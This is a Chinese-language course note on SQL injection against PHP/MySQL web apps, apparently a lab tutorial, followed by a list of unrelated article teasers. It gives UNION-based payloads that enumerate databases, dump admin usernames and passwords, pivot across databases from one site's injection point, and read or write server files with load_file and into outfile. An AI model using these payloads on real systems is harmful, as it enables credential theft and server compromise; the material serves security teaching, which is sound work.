Day42:WEB攻防-PHP应用MYSQL架构SQL注入跨库查询文件读写权限操作

目录

PHP-MYSQL-Web组成架构

PHP-MYSQL-SQL常规查询

手工注入

PHP-MYSQL-SQL跨库查询

跨库注入

PHP-MYSQL-SQL文件读写


知识点:

1、PHP-MYSQL-SQL注入-常规查询

2、PHP-MYSQL-SQL注入-跨库查询

3、PHP-MYSQL-SQL注入-文件读写

MYSQL注入:(目的获取当前web权限)
1、判断常见四个信息(系统,用户,数据库名,版本)
2、根据四个信息去选择方案
root用户:先测试读写,后测试获取数据
非root用户:直接测试获取数据

PHP-MYSQL-Web组成架构

MySQL数据库
服务器安装 MYSQL 数据库,搭建多个站点,数据库集中存储 MYSQL 数据库中管理

mysql里面有内置的管理用户,其中root就是默认数据库管理员用户 网站上面的数据库都在mysql中,由root或一对一用户去管理

1、数据库统一管理(root用户)
每个网站的数据库都由root用户统一管理
网站A:192.168.1.4:81  D:/phpstudy_pro/WWW/Z-Blog  数据库root用户  zblog
网站B:192.168.1.4:82  D:/phpstudy_pro/WWW/demo01  数据库root用户  demo01
mysql
    root(自带默认)
        网站A  testA
        网站B  testB

 

2、数据库一对一管理(不同用户)
自己的网站单独创建数据库用户去管理自己的数据库
网站A:192.168.1.4:81  D:/phpstudy_pro/WWW/Z-Blog  数据库zblog用户  zblog
网站B:192.168.1.4:82  D:/phpstudy_pro/WWW/demo01  数据库demo用户  demo01
mysql
    testA用户
        网站A  testA
    testb用户
        网站B  testB

接受的参数值未进行过滤直接带入SQL查询的操作 就是SQL注入产生的原理

攻击:利用SQL语句执行你想要的东西(SQL语句能干嘛,注入就能干嘛)
SQL语句能干嘛 = SQL语句由谁决定 => 数据库类型决定 (为什么有mysql注入、oracle注入的叫法原因)

Access数据库

access无数据库用户;管理以单个数据库为单位

Access(单个)
    表名
        列名(字段)
            数据
目的:获取数据

access注入 sqlmap 靠字典去猜 有可能猜不到表名 列名

实战中 肯定一步步得到信息

PHP-MYSQL-SQL常规查询

获取相关数据:

1、数据库版本-看是否符合information_schema查询-version()

2、数据库用户-看是否符合ROOT型注入攻击-user()

3、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os

4、数据库名字-为后期猜解指定数据库下的表,列做准备-database()

MYSQL5.0 以上版本:自带的数据库名information_schema

information_schema:存储数据库下的数据库名及表名,列名信息的数据库

information_schema.schemata:记录数据库名信息的表

information_schema.tables:记录表名信息的表

information_schema.columns:记录列名信息表

schema_name:information_schema.schemata记录数据库名信息的列名值

table_schema:information_schema.tables记录数据库名的列名值

table_name:information_schema.tables记录表名的列名值

column_name:information_schema.columns记录列名的列名值

手工注入

order by 6(代表的是当前表名下的列名有几个)

union select 1,2,3,4,5,6

union select 1,2,3,database(),user(),6

union select 1,2,3,version(),@@version_compile_os,6
union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema=‘demo01’

union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name=‘admin’ and table_schema=‘demo01’

union select 1,2,3,username,password,6 from admin limit 0,1

PHP-MYSQL-SQL跨库查询

影响条件:当前数据库ROOT用户权限

测试不同数据库用户:root demo

跨库注入

通过B网站的注入点获取A网站的账号密码
获取mysql下所有数据库名:
http://192.168.1.4:82/new.php?id=1 union select 1,2,3,group_concat(schema_name),5,6 from information_schema.schemata

http://192.168.1.4:82/new.php?id=1 union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema=‘zblog’

http://192.168.1.4:82/new.php?id=1 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema=‘zblog’ and table_name=‘zbp_member’

解决:单引号过滤绕过方式
SQL注入语句中用单引号就不要编码,编码就不用单引号(路径,表名,数据库名等)

PHP-MYSQL-SQL文件读写

影响条件:

  1. 当前数据库用户权限(高权限)
  2. secure-file-priv设置(限制目录路径读写的配置)

测试不同数据库用户:root demo

select load_file()

select 'a' into outfile 'd:/www.txt'

读:union select 1,load_file('d:\\1.txt'),3,4,5,6

写:union select 1,'xiaodi',3,4,5,6 into outfile 'd:\\2.txt'

读写的路径的问题:

1、报错显示获取路径
2、phpinfo页面泄漏

如果不知道路径思路:
利用常见的默认的中间件,数据库等安装配置文件读取有价值信息(比较难)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/479816.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

路径规划——搜索算法详解(一):Dijkstra算法详解与代码

前言: 本文为小陈同学原创,本人为路径规划方向的研狗一枚,转载请阅读文末的“授权说明”,学习笔记为连载,不定期分享路径规划的知识,欢迎转载、关注、点赞👍 ! 纠结了很久还是打算…

原型、原型链

如图: 判断对错: Q1:在JS 中 proto 和 constructor 属性是对象和函数都有的属性 prototype属性仅是函数对象所独有的。 由于JavaScript中一切皆对象,即函数对象也是一种对象,所以函数也拥有__proto__和constructor属性。 Q2:通过 proto 属性来连接对象…

利用WebGL绘制简单几何

利用WebGL绘制最简单的几何图形 一、WebGL简介 WebGL是一种用于在网页上渲染交互式3D和2D图形的JavaScript API。它基于OpenGL ES 2.0,提供了一种在浏览器中使用硬件加速图形的方式。 二、图形系统绘图流程 图形系统的通用绘图流程会包括六个部分: …

langchain+chatglm3+BGE+Faiss Linux环境安装依赖

前言 本篇默认读者已经看过之前windows版本,代码就不赘述,本次讲述是linux环境配置 超短代码实现!!基于langchainchatglm3BGEFaiss创建拥有自己知识库的大语言模型(准智能体)本人python版本3.11.0(windows环境篇&…

Golang案例开发之gopacket抓包三次握手四次分手(3)

文章目录 前言一、理论知识三次握手四次分手二、代码实践1.模拟客户端和服务器端2.三次握手代码3.四次分手代码验证代码完整代码总结前言 TCP通讯的三次握手和四次分手,有很多文章都在介绍了,当我们了解了gopacket这个工具的时候,我们当然是用代码实践一下,我们的理论。本…

Python计算机二级选择易错题(三)

选择题第02,03,04套 题目来源:python计算机二级真题(选择题) - 知乎 选择题第02套 选择题第03套 选择题第04套 time()获取当前时间,即计算机内部时间,浮点数;import time库&#x…

鸿蒙Harmony应用开发—ArkTS-@AnimatableExtend装饰器:定义可动画属性

AnimatableExtend装饰器用于自定义可动画的属性方法,在这个属性方法中修改组件不可动画的属性。在动画执行过程时,通过逐帧回调函数修改不可动画属性值,让不可动画属性也能实现动画效果。 可动画属性:如果一个属性方法在animation…

必知必会干货!1分钟搞定Python编程中捕获异常

​ 在Python编程中,异常就是程序在运行过程中出现的问题或错误,比如除数为零、文件找不到等等。而异常捕获,就是通过在代码中设置特定的语句,来捕捉这些异常,并对其进行处理,防止程序崩溃。 那么&#xff…

YOLOv5全网首发改进: 注意力机制改进 | 上下文锚点注意力(CAA) | CVPR2024 PKINet 遥感图像目标检测

💡💡💡本文独家改进:引入了CAA模块来捕捉长距离的上下文信息,利用全局平均池化和1D条形卷积来增强中心区域的特征,从而提升检测精度,CAA和C3进行结合实现二次创新,改进思路来自CVPR2024 PKINet,2024年前沿最新改进,抢先使用 💡💡💡小目标数据集,涨点近两个…

005——串口移植(基于鸿蒙liteos-a)

目录 一、 Liteos-a中串口的使用 1.1 内核里打印 1.2 APP控制台 ​编辑 1.2.1 /dev/console 1.2.2 /dev/serial 1.2.3 /dev/uartddev-0 1. 总体介绍 2. device_t 3. drvier_t 4. uartdev_fops 1.2.4 uart_ops 二、 鸿蒙串口内部的一些机制(流水账&…

阿里云4核8G服务器优惠价格表,ECS u1实例

阿里云4核8G服务器优惠价格955元一年,配置为ECS通用算力型u1实例(ecs.u1-c1m2.xlarge)4核8G配置、1M到3M带宽可选、ESSD Entry系统盘20G到40G可选,CPU采用Intel(R) Xeon(R) Platinum处理器,阿里云活动链接 aliyunfuwuq…

就业班 第二阶段 2401--3.21 day3 备份

一、逻辑备份 备份的是建表、建库、插入等操作所执行SQL语句,适用于中小型数据库,效率相对较低。 本质:导出的是SQL语句文件 优点:不论是什么存储引擎,都可以用mysqldump备成SQL语句 缺点:速度较慢&…

谷歌推出通用AI代理:能自动执行600多种动作,游玩复杂3D游戏

谷歌DeepMind的研究人员推出了一种面向3D环境的通用AI代理——SIMA。 SIMA无需访问游戏的源代码,也不需要定制的API。只需要输入图像和用户提供的简单自然语言文本指令,SIMA就能像人类玩家一样执行走路、跑步、建造、打开地图等各种游戏中的操作。 为了…

市场复盘总结 20240322

仅用于记录当天的市场情况,用于统计交易策略的适用情况,以便程序回测 短线核心:不参与任何级别的调整,采用龙空龙模式 一支股票 10%的时候可以操作, 90%的时间适合空仓等待 二进三: 进级率中 36% 最常用…

C++初阶:vector的使用与自实现

目录 1. vector与顺序表2. vector的使用2.1 默认成员函数2.2 vector的迭代器2.3 容量相关成员函数2.4 遍历访问方式2.5 vector的修改操作 3. vector的自实现3.1 自实现功能3.2 vector的结构与自实现的逻辑3.3 自实现vector功能接口 1. vector与顺序表 我们在初阶数据结构中学习…

34 | 到底可不可以使用join?

在实际生产中,关于 join 语句使用的问题,一般会集中在以下两类: 1. 我们 DBA 不让使用 join,使用 join 有什么问题呢? 2. 如果有两个大小不同的表做 join,应该用哪个表做驱动表呢? 今天这篇文…

【进程和线程】操作系统中的并发执行机制

目录 一、什么是进程(Process)? 进程的管理 进程调度(重点) 二、什么是线程(Thread)? 三、进程和线程的区别与联系 进程(Process) 线程(Thread) 总结比较 一、什么是进程(Process)? 进程和线程是操作系统中一个非常核心的话题&#…

鸿蒙Harmony应用开发—ArkTS-@Provide装饰器和@Consume装饰器:与后代组件双向同步

Provide和Consume,应用于与后代组件的双向数据同步,应用于状态数据在多个层级之间传递的场景。不同于上文提到的父子组件之间通过命名参数机制传递,Provide和Consume摆脱参数传递机制的束缚,实现跨层级传递。 其中Provide装饰的变…

随笔】Git -- 常用命令(四)

💌 所属专栏:【Git】 😀 作  者:我是夜阑的狗🐶 🚀 个人简介:一个正在努力学技术的CV工程师,专注基础和实战分享 ,欢迎咨询! 💖 欢迎大…

OpenHarmony实现一次开发多端部署分布式新闻客户端页面

分布式新闻客户端(ArkTS) 介绍 本篇Codelab基于栅格布局、设备管理和多端协同,实现一次开发,多端部署的分布式新闻客户端页面。主要包含以下功能: 展示新闻列表以及左右滑动切换新闻Tab。点击新闻展示新闻详情页。点…